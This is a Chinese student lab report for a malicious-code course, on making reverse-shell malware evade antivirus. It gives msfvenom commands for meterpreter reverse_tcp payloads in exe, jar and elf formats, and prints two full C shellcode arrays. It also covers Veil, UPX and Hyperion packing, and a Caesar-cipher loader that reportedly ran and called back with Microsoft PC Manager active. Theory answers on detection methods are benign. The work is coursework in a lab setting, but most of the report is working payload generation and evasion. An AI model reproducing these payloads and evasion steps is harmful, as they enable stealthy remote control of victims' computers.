1.实验内容
(一)本周所学
恶意代码的简介、类别、代表性的恶意代码介绍,包括僵尸程序、后门攻击、蠕虫等等。历史上的恶意代码历史发展和所造成的影响与影响范围。介绍恶意代码的分析技术(静态、动态)
(二)实验要求
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(三)问题回答
(1)杀软是如何检测出恶意代码的?
特征码检测是最常用的方法。杀软维护一个包含已知恶意代码特征码的库,当扫描文件或程序时,会与库中的特征码进行比对,若找到匹配项,则判定为恶意代码。这种方法的优点是准确度高,但缺点是存在滞后性,无法检测未知恶意代码,且恶意代码作者可能通过修改代码绕过检测。
启发式检测基于行为分析,通过分析软件的行为、代码结构等信息来判断其是否可能是恶意代码。它不依赖于已知特征码,而是基于通用的恶意行为模式。这种方法能够检测一些未知的恶意代码,但也可能产生误报,因为正常软件也可能表现出类似行为。
行为分析是一种更为动态的检测方法,实时监控软件的行为活动,如文件操作、注册表修改等。若软件表现出恶意行为模式,如窃取敏感信息、传播病毒等,则判定为恶意代码。这种方法能够检测新型恶意代码,但也可能受到攻击者干扰。
沙箱分析将可疑文件或代码运行在隔离环境中,观察其行为并记录活动,通过监测沙箱中行为判断是否存在恶意行为。行为基因技术则通过对程序行为进行建模和学习,建立恶意行为基因库,与已知恶意行为进行比对分析。
补丁管理也是减少恶意代码入侵风险的重要手段,通过定期应用系统和应用程序的安全补丁来修补已知漏洞。
(2)免杀是做什么?
免杀,即反杀毒技术,旨在使病毒、木马等恶意软件避免被杀毒软件检测和清除。它通过修改恶意软件的特征码,实现躲避杀毒软件查杀的目的。
实现免杀的方法多种多样,如加壳、ShellCode混淆加密、分离免杀、白加黑以及使用专门的免杀工具等。这些方法都能在一定程度上改变恶意软件的特征,使其难以被杀毒软件识别。
(3)免杀的基本方法有哪些?
代码混淆:通过改变恶意软件的代码结构、变量名、函数名等方式,使其难以被逆向分析和识别。这种方法可以使得恶意软件的特征码发生变化,从而躲避杀毒软件的检测。
加壳与脱壳:加壳技术是将恶意软件包裹在一个保护层中,使得杀毒软件难以直接接触到恶意软件的原始代码。当恶意软件运行时,它会先执行脱壳操作,去除保护层后再执行恶意代码。这种方法可以增加杀毒软件检测的难度。
内存注入:将恶意代码注入到其他正在运行的进程中,利用进程的保护机制来隐藏恶意代码。由于杀毒软件通常只关注独立的可执行文件,因此内存注入可以作为一种有效的免杀手段。
Rootkit技术:Rootkit是一种隐藏自身和修改系统行为的工具集。通过Rootkit技术,恶意软件可以隐藏自己的进程、文件和网络连接等信息,从而躲避杀毒软件的检测和监控。
社会工程学:虽然不直接改变恶意软件的代码或行为,但社会工程学也是一种重要的免杀手段。通过欺骗、诱导等方式,让用户主动运行恶意软件或泄露敏感信息,从而绕过杀毒软件的防护。
2.实验过程
2.1 正确使用msf编码器,使用msf编码器生成病毒文件
2.1.1首先查看msf支持格式
2.1.2构造payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=地址 LPORT=接口 -f exe > 命名.exe
成功生成.exe文件
拖入主机的检测网站(https://www.virustotal.com/gui/home/upload)进行检查(PS:关闭主机所有杀毒软件)
接下来对文件进行编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=地址 LPORT=端口 -f exe > 文件.exe
可见,并没有什么降低。所以多次编码并检测查看。这里设置20次。
依旧什么什么变化。更改生成文件类型进行再次尝试。
2.1.3更换其他文件格式。如java。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.47.141 LPORT=2404 -f jar > jar_2404.jar
再次编码,查看。
2.1.4生成一个反向 TCP 连接的 Linux elf 可执行文件:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.47.141 LPORT=2404 -f elf > elf_2404.elf
诶,elf直接免杀了???再编码一下试试。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.47.141 LPORT=2404 -e x86/shikata_ga_nai -i 10 -f elf > elf_2404_1.elf
还是0。
2.2下载veil
2.2.1这里主要参考了陈灿同学的代码。
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
2.2.2sudo apt-get install wine32
但在这一步时会报错如下:
系统报告了一些依赖关系问题。具体来说,libwine:i386 需要 libgphoto2-6:i386 和 libgphoto2-port12:i386 这两个软件包(注意:这里可能是版本信息或包名有轻微的不匹配,因为通常我们看到的包名是 libgphoto2-6:i386 和 libgphoto2-port12:i386 而不是带有 t64 后缀的),但是它们没有被安装,且由于某些原因无法被安装。
尝试直接安装报错缺失的安装包
sudo apt-get install libgphoto2-6:i386 libgphoto2-port12:i386
2.2.3这之后成功下载wine,继续进行下载步骤。
apt-get install veil ——安装veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出;
运行veil进行安装;
uploading-image-860275.png
成功。
使用veil生成一个文件并进行查杀。
![](/i/l/?n=24&i=blog/3528399/202410/3528399-20241031162532900-1755387410.png
2.3使用C+shellcode
2.3.1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.47.141 LPORT=2404 -f c
生成如下:
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b"
"\x48\x18\x01\xd3\x50\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f\x8d\x68\x02\x00"
"\x09\x64\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
2.3.2新建文件,输入生成的buff
2.3.3生成exe并进行检测
i686-w64-mingw32-g++ 20222404.c -o 20222404.exe;
2.4加壳
2.4.1upx加壳
输入upx 20222404.exe -o upx20222404.exe
2.4.2hyperion加壳:
输入cp upx20222404.exe /usr/share/windows-resources/hyperion;
输入cd /usr/share/windows-resources/hyperion进入文件夹;
输入ls查看生成的可执行文件;
输入wine hyperion.exe -v upx202223404.exe upx20222404_1.exe
将生成文件放入检测。
upx20222404.exe检测结果:
upx20222404_1.exe检测结果
2.5通过组合应用各种技术实现恶意代码免杀
组合技术:msfvenom生成Shellcode数组,再使用凯撒加密对数组进行加密,将加密后的密文放入txt文件中,再编写C语言代码,从txt文件中读取密文,解密并运行Shellcode,最后生成.exe可执行文件。
2.5.1生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.47.141 LPORT=666 -f c
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f\x8d\x68\x02\x00"
"\x02\x9a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
2.5.2使用凯撒算法位移6对数组进行加密
分别编译加密和解密的代码
jiemi.exe即为所需。
运行加密结果如下:
运行解密结果如下:
2.6用电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
虚拟机进入msfconsole,逐一输入攻击机、端口等。在主机运行eexe文件,虚拟机可进行监听。
杀软版本:电脑自带微软电脑管家3.14.9.0
3.问题及解决方案
- 问题1:veil下载时,wine报错无法下载。
- 问题1解决方案:第一次时是电脑空间不够,于是扩充硬盘,但是扩充后虚拟机无法开机会黑屏。解决无果,选择重新下载虚拟机,设置时把磁盘空间设大。第二次是wine下载时卡机导致跳过了下载步骤,便无法进行二次下载,进行多次包括换源、换连接、下载命令后无果,最后再次重下虚拟机。按照陈灿同学的步骤,依旧在wine下载时出错,报错缺少相关文件包。于是手动选择下载缺失的文件包(sudo apt-get install libgphoto2-6:i386 libgphoto2-port12:i386),后再次安装wine,成功。其中步骤只需要next就好,也可参照该教程:https://blog.csdn.net/Goodric/article/details/123806240
- 问题2:shellcode生成的文件检测为0异常
- 问题2解决方案:发现是把.c文件拖到检测里了……应该是检测.exe
4.学习感悟、思考等
本次实验最痛苦的就是veil下载……总共重下了四次虚拟机,不知道等了下载过程多久……更令人不解的是大家遇到的问题各不一,更找不到一个确切的解决方案,只能在网络上广撒网,把所有的教程都尝试一遍然后导致虚拟机乱套(闭目)。特别痛苦,整个过程太无助了,咬着牙最后和自己说再试一次再试一次,感觉把csdn上所有的教程都翻了一遍。最后喜爱在成功真的要哭出来,太不容易了……
总体而言,感觉操作课程和理论课程我所学习的内容相差过大,本次实验让我在自行探索中对虚拟机运行、文件依赖等有了实际的接触和认识,不断试错的过程里半懂不懂地搬代码。对编译和病毒生成的实际操作让我了解了相关知识。